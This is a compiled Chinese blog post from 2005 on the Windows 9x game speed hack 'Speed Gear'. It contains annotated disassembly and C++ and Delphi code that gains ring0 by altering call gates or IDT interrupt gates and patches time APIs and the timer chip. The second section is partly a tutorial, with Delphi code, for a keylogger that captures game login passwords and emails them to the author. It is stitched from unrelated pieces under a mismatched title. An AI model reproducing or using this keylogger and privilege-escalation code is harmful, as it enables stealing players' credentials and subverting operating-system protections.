Thursday, February 24, 2005

 

Some notes on Gear

1.
“变速齿轮”再研究

作者:bbbkom
出处:http://www.csdn.net

提起“变速齿轮”(以下简称“齿轮”)这个软件,大家应该都知道吧,该软件号称是全球第一款能改变游戏速度的程序。我起初用时觉得很神奇,久而久之就不禁思考其实现原理了,但苦于个人水平有限,始终不得其解,成了长驻于脑中挥散不去的大问号。
偶然一天在bbs上看到了一篇名为《“变速齿轮”研究手记》(以下简称《手记》)的文章,我如获至宝,耐着性子把文章看完了,但之后还是有很多地方不解,不过还是有了比较模糊的认识:原来齿轮是通过截获游戏程序对时间相关函数的调用并修改返回结果实现的呀。
为了彻彻底底地弄清齿轮的原理,我这次打算豁出去了。考虑到《手记》的作者从是研究的“齿轮”的反汇编代码的,那我也照样从反汇编代码开始。不过自认为汇编功底不够,又从图书馆借了几本关于windows底层机制和386汇编的书,在经过差不多两周的“修行”之后,自我感觉有点好啦,哈哈,我也有点要迫不及待地把“齿轮”大卸八块了!
在动手之前,我又把《手记》看了一遍,这次可就清楚多了:通过调用门跳到ring0级代码段,修改各系统时间相关函数的前8个字节为jmp指令,转跳到“齿轮”映射到2g之上的代码,达到截获对各系统时间相关函数的调用的目的。但同时我的疑惑也更明确了:
1.“齿轮”怎样建立指向自己映射到2g以上内存的代码的调用门描述符的;
2.“齿轮”怎样将自己的代码映射到2g以上线性地址的;
3.映射到2g之上的代码是怎样做到在代码基址更改的情况仍能正确运行的
带着这样的疑问,我正式开始了对“齿轮”反汇编代码的分析。工具嘛,不用说当
然是softice for windows98、w32dasm,ok,出发啦!
我的“齿轮”版本是0.221 for win98和winme的,内含有两个文件(变速齿轮.exe
和hook.dll)。先看看hook.dll里面有些什么,用w32dasm将hook.dll反汇编,看看它的输出函数:
?ghwnd@@3pauhwnd__@@a
?gnhotkey1@@3ka
?gnhotkey2@@3ka
?gnhotkey3@@3ka
?gnhotkey4@@3ka
?nhook@@3ha
?sethook@@yahpauhwnd__@@@z
?unhook@@yahxz
看函数名好象该dll只是安装钩子捕获变速热键的,与我的研究目的没太大的关系, 跳过去!
再看看变速齿轮.exe的导入函数,timegettim、gettickcount等时间相关的函数都
在里面。嘿,还有createfilemappinga和mapviewoffileex,看来“齿轮”是用这两个函
数创建映射文件的。以下列出几个关键的导入函数:
hook.?gnhotkey1@@3ka
hook.?gnhotkey2@@3ka
hook.?gnhotkey3@@3ka
hook.?gnhotkey4@@3ka
hook.?sethook@@yahpauhwnd__@@@z
kernel32.createfilemappinga
kernel32.getmodulefilenamea
kernel32.getmodulehandlea
kernel32.gettickcount
kernel32.mapviewoffileex
kernel32.queryperformancecounte
user32.killtimer
user32.sendmessagea
user32.settimer
winmm.timegettime
winmm.timesetevent
既然“齿轮”截获了timegettime,那我就跟踪timegettime函数的执行情况。
我先写了个win32 app (以下简称app),当左击客户区时会调用timegettime并将返回的结果输出至客户区。运行这个程序,打开“齿轮”,改变当前速度。
ctrl + d 呼出softice,bpx timegettime ,退出,再左击app客户区,softice跳
出。哈,果然timegettime函数的首指令成了jmp 8xxx 002a ,好f8继续执行,进入了“ 齿轮”映射到2g线性地址之上的代码。一路f8下去,发现接着“齿轮”把timegettime 首指令恢复,并再次调用timegettime,这样就得到了timegettime的正确结果,保存结果。“齿轮”再把timegettime首指令又改为jmp 8xxx 002a 。接下来都猜得到“齿轮”要干什么了!没错,将得到的返回值修改后返回至调用timegettime的程序app。
我仔细分析了一下,“齿轮”修改返回值的公式如下:
倍数*(返回值-第一次调用timegettime的返回值)
修改后的返回值=---------------------------------------------------+上一次修改后的返回值
100000
公式中“上次修改后的返回值”是自己猜测的未经证实,仅供参考。
代码分析已经进行一部分了,可我之前的疑问仍未解决,“齿轮”是怎么将代码映
射的?又是怎么得到修改代码的权限的?
既然“齿轮”中调用了createfilemappinga,我想其安装调用门,映射代码的初始
化部分应该就在调用该函数代码的附近。好,沿着这个思路,呼出softice,在createf ilemappinga处设置断点,将“齿轮”关闭后再运行。softice跳出,停在了createfile mappinga处,f11回到“齿轮”的代码。看到了“齿轮”调用createfilemappinga的形式
如下:
createfilemappinga(ff,0,4,0,10000,0);
可见“齿轮”创建了长度为0x10000的映射文件,继续,“齿轮”接着又调用
mapviewoffileex,调用形式如下:
mapviewoffileex(edx,2,0,0,0,eax);
//edx为createfilemappinga返回的映射文件句柄
//eax为申请映射代码的基址,第一次调用时eax为0x8000 0000
这里就是关键了,“齿轮”要将映射文件映射至基址为0x8000 0000 的内存空间中,可并不见得windows就真的允许其映射呀?果然,“齿轮”在在调用之后判断返回值是否有效,无效则将上次申请的基址加上0x1000,再次调用mapviewoffileex,一直循环到成功为止,再将返回的地址保存。
接下来“齿轮”将原“齿轮”exe中的截获api的代码逐字节拷贝到映射区域去。至
此,“齿轮”已经将关键代码映射到2g以上线性地址中了。
我再f8,哈哈,和熟悉的sgdt指令打了个照面。“齿轮”保存全局描述符表线性基 址,再用sldt指令保存局部描述符表索引,计算出ldt基址。接着呢“齿轮”在局部描述表中创建了一个特权等级为0的代码段指向需要利用ring0特权修改代码的“齿轮”自己的代码,并把局部描述表中索引为2的调用门指向的地址改为“齿轮”映射到高于2g的代码。
然后“齿轮”依次调用各时间相关的api,保存其返回值留做计算返回时结果用。
“齿轮”又依次调用映射到高于2g的代码修改各api的首指令。到了这里,“齿轮”的初
始化部分就结束了,只等着还蒙在鼓里的游戏上钩啦,哈哈!
结束代码只不过是作些恢复工作罢了,仅仅是初始化代码的逆过程,所以就不再
赘述(其实是我自己懒得看了,^_^!).
至此,我对“齿轮”的加速原理已有大致的了解,深刻感受到“齿轮”代码的精巧, 所以觉得有必要将"齿轮"中所运用到的一些技巧作一个总结:
1.基址无关代码的编写
姑且以上面一句话作标题,^_^。看了“齿轮”的初始化代码,知道其映射代码
的基址差不多是随机的,那么“齿轮”是怎么保证映射后的代码能正常运行的呢?如果 代码是完全顺序执行的倒没什么问题,但如果要调用自己映射代码中的子程序呢?呵呵,就只有运行时计算出子程序的入口地址并调用了,不过还是要先得到映射代码所在的地址才行。“齿轮”简单地用两条指令就得到当前正在执行的指令的地址,具体如下(地址为假设的):
0:0 call 5
0:5 pop esi
现在esi中的值就是5了,哈哈!
这里的call用的是近调用,整条指令为e800000000,即为调用下一条指令.所进行
的操作只不过是把下一条指令的地址入栈而已.再pop将返回地址(即pop指令本身的地址)取出.
2.修改调用门,生成jmp指令,修改代码
这些都是高度依赖于cpu的操作,技巧性也很强,主要是钻了操作系统的漏洞。比如“齿轮”就是用sgdt,sldt获得全局和局部描述符表基址来安装调用门,通过访问调用门来获取ring0权限作一些平时不为系统所允许的操作;而cih病毒是用sidt获得中断描述符表基址安装中断门然后出发软中断获取ring0权限的,原理都是一样的。这些在水木上讨论过很多遍,大家都很熟悉,所以也就不敢班门弄斧,写到此为止。
3.64k代码编写
由调用createfilemappinga函数参数可知“齿轮”只映射10000(64k)大小的
区域,所以其映射在2g之上的代码和数据决不能大于64k。我想作者之所以选择64k为映射区域的大小,可能是与调用子程序或数据时容易计算地址有关。在映射代码的任意一处得到当前指令地址之后将其低16位置0即可得到映射代码的基地址,再加上子程序入口或数据的偏移即可求得其绝对地址。

我的评论:
一句话:佩服“齿轮”的作者王荣先生。
“齿轮”的代码表现他对windows运行机制的深刻理解以及深厚的汇编功底还有丰
富的想象力。对我来说“齿轮”仿佛就是一件精美的艺术品,每个细处都很值得玩味一 番,所以我才在看过“齿轮”代码之后有了把我的分析过程用笔写下来的冲动。但同时 我又不得不承认“齿轮”的功能的实现是依靠其高度技巧化的代码实现的,换句话说就 是这种的方法局限性实在是太大了。不就是截获api嘛,用的着这么麻烦吗?
为了证实自己的想法,我在codeguru上直接找了个hook api 的代码,该代码是通过安装wh_cbt类型全局钩子在所有被插入dll的进程中修改进程pe映像的输入节达到截获api的(这种方法在《windows核心编程》中有详细说明)。把代码稍做修改,就能工作了(在星际争霸下试过,可以改变游戏速度)。尽管只在98下试过,但我觉得肯定也能在2000下用,因为代码中只用了一两句汇编指令,而且整个程序都是在ring3下运行的,没有作出什么出轨的举动。当然这种方法也有缺点,就是对用loadlibrary加载winmm.dll再用getprocaddress获取timegettime地址的api调用不起作用(原因在《windows核心编程》中有说明)。
我打算在将测试用程序稍稍完善后再公布源代码,届时欢迎大家下载。

我的感谢:
在我彻底弄清“齿轮”的代码之后,已经是第三天的上午了,无奈自己才疏学浅,
全不像《手记》的作者只花了一个晚上就弄清楚,我可是花了一个上午、两个下午、两个晚上才结束了战斗,实在是惭愧呀。
自己之所以能自得其乐地坚持了两天多,是与寝室兄弟小强的支持分不开的。穷 困潦倒的我在这几天不知道总共抽了他多少支烟,无以为报,只有在这里说一声谢谢了!另外还要感谢sunlie非常地阅读本文,指出了原文中的错误并提出了非常宝贵的意见!
最后要说的就是个人水平有限,文中难免出现错误,欢迎大家讨论!^_^
附a:
使用工具:softice for windows98,w32dasm,visualc++ 6.0
操作系统:window98 2nd
分析目标:变速齿轮 for 98me 版本:0.221
参考书籍或文章:
80x86汇编语言程序设计教程 杨季文等编著 清华大学出版社
windows剖析--初始化篇及内核篇 清华大学出版社
虚拟设备驱动程序开发
intel 32位系统软件编程
80x86指令参考手册
《“变速齿轮”研究手记》
附b:
“齿轮”关键代码完全注释
一、初始化部分(从"齿轮"调用createfilemappinga函数开始分析)
0167:00401b0e push 00
0167:00401b10 push 00010000
0167:00401b15 push 00
0167:00401b17 push 04
0167:00401b19 push 00
0167:00401b1b push ff
0167:00401b1d call [kernel32!createfilemappinga]
;调用createfilemappinga
; 调用形式如右:createfilemappinga(ff,0,4,0,10000,0)
0167:00401b23 mov ecx,[ebp-30]
0167:00401b26 mov [ecx+00000368],eax
0167:00401b2c mov dword ptr [ebp-14],80000000
0167:00401b33 jmp 00401b41
0167:00401b35 mov edx,[ebp-14]
0167:00401b38 add edx,00010000
;申请基址加0x10000
0167:00401b3e mov [ebp-14],edx
0167:00401b41 mov eax,[ebp-14]
0167:00401b44 push eax ;映射文件基址
0167:00401b45 push 00 ;映射的字节数
0167:00401b47 push 00 ;文件偏移低32位
0167:00401b49 push 00 ;文件偏移高32位
0167:00401b4b push 02 ;访问模式
0167:00401b4d mov ecx,[ebp-30]
0167:00401b50 mov edx,[ecx+00000368]
0167:00401b56 push edx
;createfilemappinga返回的映射文件句柄
0167:00401b57 call [kernel32!mapviewoffileex]
; 调用形式如右:mapviewoffileex(edx,2,0,0,0,eax)
0167:00401b5d mov ecx,[ebp-30]
;[ebp-30]为即将映射到2g之上
0167:00401b60 mov [ecx+0000036c],eax
; 的代码的数据域的起始地址
0167:00401b66 mov edx,[ebp-30]
0167:00401b69 cmp dword ptr [edx+0000036c],00
;检查mapviewoffileex
0167:00401b70 jz 00401b74
;返回值,若为0则继续调
0167:00401b72 jmp 00401b76 ;调用mapviewoffileex
0167:00401b74 jmp 00401b35 ;直至成功为止
0167:00401b76 mov eax,[ebp-30]
0167:00401b79 mov ecx,[eax+0000036c]
0167:00401b7f mov [ebp-08],ecx
;映射文件起始地址存入[ebp-08]
0167:00401b82 call [winmm!timegettime]
0167:00401b88 mov [ebp-14],eax
;将初次调用timegettime
0167:00401ba0 mov ecx,[ebp-08]
;的返回值保存到[ebp-14]
0167:00401ba3 mov edx,[ebp-14]
;以及映射文件基址+ff30处
0167:00401ba6 mov [ecx+0000ff30],edx
...省略的代码类似的保存调用初次gettickcount,queryperformancecounter的返回值

0167:00401bed mov dword ptr [ebp-14],00000000
0167:00401bf4 mov edx,[ebp-30]
0167:00401bf7 mov eax,[edx+0000036c]
0167:00401bfd mov ecx,[ebp-14]
0167:00401c00 mov byte ptr [ecx+eax+0000f000],9a
;9a为远调用的指令码
0167:00401c08 mov edx,[ebp-14]
0167:00401c0b add edx,01
0167:00401c0e mov [ebp-14],edx
0167:00401c11 mov eax,[ebp-14]
0167:00401c14 add eax,04
0167:00401c17 mov [ebp-14],eax
0167:00401c1a mov ecx,[ebp-30]
0167:00401c1d mov edx,[ecx+0000036c]
0167:00401c23 mov eax,[ebp-14]
0167:00401c26 mov byte ptr [eax+edx+0000f000],14
;14为调用门描述符的索引
0167:00401c2e mov ecx,[ebp-14]
0167:00401c31 add ecx,01
0167:00401c34 mov [ebp-14],ecx
0167:00401c37 mov edx,[ebp-30]
0167:00401c3a mov eax,[edx+0000036c]
0167:00401c40 mov ecx,[ebp-14]
0167:00401c43 mov byte ptr [ecx+eax+0000f000],00
;call指令其他部分
0167:00401c4b mov edx,[ebp-14]
0167:00401c4e add edx,01
0167:00401c51 mov [ebp-14],edx
0167:00401c54 mov eax,[ebp-30]
0167:00401c57 mov ecx,[eax+0000036c]
0167:00401c5d mov edx,[ebp-14]
0167:00401c60 mov byte ptr [edx+ecx+0000f000],c2
0167:00401c68 mov eax,[ebp-14]
0167:00401c6b add eax,01
0167:00401c6e mov [ebp-14],eax
0167:00401c71 mov ecx,[ebp-30]
0167:00401c74 mov edx,[ecx+0000036c]
0167:00401c7a mov eax,[ebp-14]
0167:00401c7d mov byte ptr [eax+edx+0000f000],00
0167:00401c85 mov ecx,[ebp-14]
0167:00401c88 add ecx,01
0167:00401c8b mov [ebp-14],ecx
0167:00401c8e mov edx,[ebp-30]
0167:00401c91 mov eax,[edx+0000036c]
0167:00401c97 mov ecx,[ebp-14]
0167:00401c9a mov byte ptr [ecx+eax+0000f000],00
0167:00401ca2 mov edx,[ebp-14]
;以上代码为在映射代码偏移f000处写入指令call 0014:0000
0167:00401ca5 add edx,01
;指令 a91400c20000共6个字节
0167:00401ca8 mov [ebp-14],edx ;
0167:00401cab mov esi,0040213b
;要复制的代码的起始地址
0167:00401cb0 mov edi,[ebp-08]
;要复制代码的目标地址(映射区域中)
0167:00401cb3 mov ecx,00402688
;402688为要复制的代码的末地址
0167:00401cb8 sub ecx,esi
0167:00401cba repz movsb ;将代码全部复制到映射区域
0167:00401cbc sgdt fword ptr [ebp-1c] ;这句开始就很关键了
0167:00401cc0 lea eax,[ebp-001c]
0167:00401cc6 mov eax,[eax+02] ;取gdt线性基址
0167:00401cc9 xor ebx,ebx
0167:00401ccb sldt bx ;取ldt在gdt中的偏移
0167:00401cce and bx,-08
0167:00401cd2 add eax,ebx
0167:00401cd4 mov ecx,[eax+02]
0167:00401cd7 shl ecx,08
0167:00401cda mov cl,[eax+07]
0167:00401cdd ror ecx,08 ;以上计算出ldt线性基址
0167:00401ce0 mov [ebp-0c],ecx ;保存
0167:00401ce3 mov eax,[ebp-30]
0167:00401ce6 mov ecx,[ebp-0c]
0167:00401ce9 mov [eax+00000370],ecx
0167:00401cef mov edx,[ebp-30]
0167:00401cf2 mov eax,[edx+0000036c]
0167:00401cf8 mov ecx,[ebp-0c]
0167:00401cfb mov [eax+0000fe00],ecx
;将ldt线性基址保存至映射代码中
0167:00401d01 mov ax,cs
;得到当前代码段描述符号
0167:00401d04 and ax,fff8
0167:00401d08 mov [ebp-10],ax
0167:00401d0c mov edx,[ebp-10]
0167:00401d0f and edx,0000ffff
;edx为代码段描述符在ldt中的偏移量
0167:00401d15 mov eax,[ebp-30]
0167:00401d18 mov ecx,[eax+00000370] ;ecx此时为ldt线性基址 0167:00401d1e mov eax,[ebp-30]
0167:00401d21 mov eax,[eax+00000370]

;eax此时为ldt线性基址

0167:00401d27 mov esi,[edx+ecx]
0167:00401d2a mov [eax+08],esi
0167:00401d2d mov ecx,[edx+ecx+04]
;以上将当前代码段描述符复制到
0167:00401d31 mov [eax+0c],ecx ;ldt第1项
0167:00401d34 mov edx,[ebp-30]
0167:00401d37 mov eax,[edx+00000370]
0167:00401d3d mov cl,[eax+0d]
0167:00401d40 and cl,9f
0167:00401d43 mov edx,[ebp-30]
0167:00401d46 mov eax,[edx+00000370]
0167:00401d4c mov [eax+0d],cl
;以上修改ldt第1项的dpl为0,则当由调用门转到该段代码时即获得ring0权限
0167:00401d4f mov eax,[ebp-0c]
0167:00401d52 add eax,10 ;获得ldt中索引为2的调用门地址
0167:00401d55 mov ebx,0040213b
0167:00401d5a mov [eax],ebx
0167:00401d5c mov [eax+04],ebx
0167:00401d5f mov word ptr [eax+02],000c
0167:00401d65 mov word ptr [eax+04],ec00 ;调用门修改完毕
0167:00401d6b mov ecx,[ebp-08]
0167:00401d6e mov edx,[winmm!timegettime]
0167:00401d74 mov [ecx+0000fee0]

;edx;保存timegettime入口地址
...省略部分依次保存gettickcount,getmessagetime,timesetevent,settimer,
timegetsystemtime,queryperformancecounter入口地址
0167:00401dd2 mov ecx,[ebp-08]
0167:00401dd5 mov eax,[winmm!timegettime]
0167:00401dda mov ebx,[eax]
0167:00401ddc mov [ecx+0000fe40],ebx
0167:00401de2 mov ebx,[eax+04]
0167:00401de5 mov [ecx+0000fe44],ebx
;保存timegettime函数前8个字节指令
...省略部分依次保存gettickcount,getmessagetime,timesetevent,
timegetsystemtime , queryperformancecounter前8个字节指令
0167:00401e6d mov byte ptr [ecx+0000fe90],e9
0167:00401e74 mov eax,00402165
0167:00401e79 sub eax,0040213b
;eax为截获代码在映射代码中的偏移
0167:00401e7e add eax,ecx ;计算出截获代码的线性入口地址
0167:00401e80 sub eax,[winmm!timegettime]
0167:00401e86 sub eax,05 ;jmp指令总长5个字节
0167:00401e89 mov [ecx+0000fe91],eax
;计算生成从timegettime跳到截获代码的jmp指令并保存

...省略部分依次计算并生成gettickcount,getmessagetime,timesetevent,
timegetsystemtime , queryperformancecounter跳到截获代码的jmp指令
并保存

0167:00401f58 cli ;关闭中断,谨防修改代码时发生意外
0167:00401f59 mov eax,004021f3 ;
0167:00401f5e sub eax,0040213b;计算子程序在映射代码中的偏移
0167:00401f63 add eax,[ebp-08] ;eax=8xxx 00b8
0167:00401f66 push eax ;传入参数eax为修改timegettime代码的
;子程序入口地址
0167:00401f67 mov eax,[ebp-08] ;调用8xxx 0000
0167:00401f6a call eax ;返回时timegettime首指令被更改

...省略部分依次修改gettickcount,getmessagetime,timesetevent,
timegetsystemtime , queryperformancecounter函数的首指令

0167:00401ff seti ;设置中断,初始化代码结束
二、截获时间函数部分(以timegettime为例子,代码以跟踪顺序列出)
timegettime
jmp 832a 002a
;这是timegettime被修改后的首指令
0167:832a 002a cli
;此时[esp]=40bf2c,即游戏程序中调用timegettime函数的下一条指令
...(6个)各寄存器分别入栈 且mov ebp,esp
0167:832a 0033 call 832a 0038
;将当前eip入栈(即下一条指令的地址)
0167:832a 0038 pop edi ;取出当前指令地址
xor di , di
mov esi , edi
;将64k内存首地址赋给esi
;此时esi=edi=832a 0000
add esi , 0040 2102
sub esi , 0040 213b ;求出映射代码首地址
push esi
0167:832a 004b call edi ;esi为传进的参数
;返回时已经将timegettime代码还原
0167:832a 004d call 832a 0052 ;
0167:832a 0052 pop edi
xor di ,di ;故技重施
call [edi + 0000feed];调用原timegettime函数
sub eax,[edi + 0000 ff30]
;减去第一次调用timegettime的结果
mul dword ptr [edi+0000 fe30]
;乘以用户所指定的倍数
mov ebx ,00100000
div ebx
;除以常数100000
add eax ,[edi+ 0000fe20]
mov eax,004021f3
sub eax,0040213b
add eax,edi
;以上指令为修改timegettime函数返回值
push eax
;eax为传进的参数
call edi
;返回时又将timegettime首指令换成jmp
...恢复各寄存器的值,eax中为修改后的返回值
ret ;此时[esp]=40bf2c,执行ret将返回到游戏中去
;
0167:832a 0000 call 832a 0005
0167:832a 0005 pop edi
xor di ,di ;老套了撒^_^
mov esi ,[edi+0000 fe00]
;此地址保存着ldt的线性基址
mov eax,[esp+04]
mov [esi +10],ax
shr eax,10
mov [esi+16],ax
;以上代码将ldt中索引为2的调用门描述符的偏移改为传入的参数
...
mov eax,0000 0f00
call eax
;调用子程序修改timegettime代码
0167:832a 0027 ret 4
;弹出参数,返回
;
0167:832a f000 call 0014:00000000
ret 0
;
000c:832a 0097 call 832a 009c
000c:832a 009c pop edi
mov eax,[edi+0000 fe40]
mov ebx,[edi+0000 fee0]
mov [ebx],eax
mov eax,[edi+0000 fe44]
mov [ebx+04],eax
retf
注:edi+0000 fe40起前8个字节为原timegettime函数的指令
edi+0000 fee0保存着timegettime函数的入口地址
以上即恢复timegettime前8个字节的代码
;
000c:832a 00b8 call 832a 00bd
000c:832a 00bd pop edi
xor di ,di
...
mov eax,[edi+0000 fe90]
mov ebx,[edi+0000 fee0]
mov [ebx],eax
mov eax,[edi+0000fe94]
mov [ebx+04],eax
retf

注:edi+0000 fe90 起前8个字节保存着jmp 832a 002a 指令
是由“齿轮”初始化部分代码计算出来的,以上代码将jmp 832a 002a
写入timegettime函数

(按:好文。讨厌那种上来走秀,却又遮遮掩掩的行为。附一个简单点的VC实现

// File name : SetClock.cpp
// Function1 : SetClock9x(int)
// Function2 : SetClockNT(int)
// Chu Rui 2001.3.1

#include "stdafx.h"
#include "ntport.h"

#define FREE_INT_NO 5

void Ring0()
{ //在Windows9x下进入ring0后进行的操作
__asm
{
cli
mov al,34h
out 43h,al //写入8253控制寄存器,设置写0号定时器
mov ax,bx
out 40h,al //写定时值低位
mov al,ah
out 40h,al //写定时值高位
sti
iretd;
}
}

void SetClockNT(int freq)
{ //NT下的操作
//这里使用了NT Port库
Outport(0x43,0x34); //写入8253控制寄存器,设置写0号定时器
Outport(0x40,freq&0xff); //写定时值低位
Outport(0x40,(freq>>8)&0xff); //写定时值高位
}

void SetClock9x(int freq)
{
union Function_Pointer
{
void (*pointer)();
char bytes[sizeof(void *)];
}OldIntAddress,NewIntAddress;

int IDTAddress; //IDT表基地址
int IDTItemAddress; //要修改的中断门所在地址
char *Pointer; //要修改的中断门所在地址,指针形式

__asm
{
push eax
sidt [esp-2]
pop eax
mov IDTAddress,eax //得到IDT表基地址
}

IDTItemAddress=FREE_INT_NO*8+IDTAddress;
Pointer=(char *)IDTItemAddress;
NewIntAddress.pointer=Ring0;

OldIntAddress.bytes[0]=Pointer[0];
OldIntAddress.bytes[1]=Pointer[1];
OldIntAddress.bytes[2]=Pointer[6];
OldIntAddress.bytes[3]=Pointer[7]; //保存旧的中断门

Pointer[0]=NewIntAddress.bytes[0];
Pointer[1]=NewIntAddress.bytes[1];
Pointer[6]=NewIntAddress.bytes[2];
Pointer[7]=NewIntAddress.bytes[3]; //设置新的中断门

__asm
{
mov ebx,freq
int FREE_INT_NO //产生中断,进入ring0
}

Pointer[0]=OldIntAddress.bytes[0];
Pointer[1]=OldIntAddress.bytes[1];
Pointer[6]=OldIntAddress.bytes[2];
Pointer[7]=OldIntAddress.bytes[3]; //恢复旧的中断门
}


2.
变速齿轮的一种实现方法(内有中断门的创建与调用)

By windsi
From http://blog.csdn.net/windsi/archive/2005/04/07/339145.aspx

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。

第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址



nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件







2003-5-15 10:38:09



我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;
const ZDH = $03; // 设一个中断号
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword; //存放旧向量
begin

asm
push ebx
sidt IDT //读入中断描述符表
mov ebx, dword ptr [IDT+2] //IDT表基地址
add ebx, 8*ZDH //计算中断在中断描述符表中的位置
cli //关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 //指向Ring0级代码段
mov word ptr [ebx], ax //低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax //高16位,保存在6,7位
int ZDH //中断
mov ebx, dword ptr [IDT+2] //重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx //恢复被改了的向量
pop ebx
jmp @@exitasm //到exitasm处
@@Ring0: //Ring0,这个也是最最最核心的东东
mov al,$34 //写入8253控制寄存器
out $43,al
mov ax,value //写入定时值
out $40,al //写定时值低位
mov al,ah

out $40,al //写定时值高位
iretd //返回
@@exitasm:
end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
